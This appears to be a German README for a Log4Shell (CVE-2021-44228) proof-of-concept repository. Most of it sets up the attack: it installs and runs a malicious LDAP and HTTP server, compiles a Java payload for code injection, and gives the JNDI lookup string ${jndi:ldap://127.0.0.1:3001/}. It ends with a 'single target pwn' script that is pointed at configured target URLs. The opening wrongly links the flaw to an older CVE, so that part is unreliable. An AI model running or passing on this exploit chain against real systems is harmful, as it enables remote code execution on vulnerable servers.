
CVE-2021-44228
Diese grundlegende Sicherheitslücke wurde durch [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) gemeldet und durch [diesen Artikel (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) behoben.
Allerdings hatte die Java-Logging-Bibliothek log4j2 (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), welches Zugriff auf Protokolle wie LDAP ermöglichte, was bei älteren Java-Versionen Code-Injection erlaubte.
Gepatchte Java-Versionen können Code-Injection verhindern, aber `JNDILookup` stellt eine Anfrage an den LDAP-Server, was zu IP-Leaks führen kann.
Die Lösung besteht darin, die Versionen von **Java** und **log4j2** zu aktualisieren.
cd http-server && npm install && cd ../ldap-server && npm install
http-server und ldap-server beide ausführencd http-server && node index.js &
cd ldap-server && node index.js
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py
Siehe Lizenz in LICENSE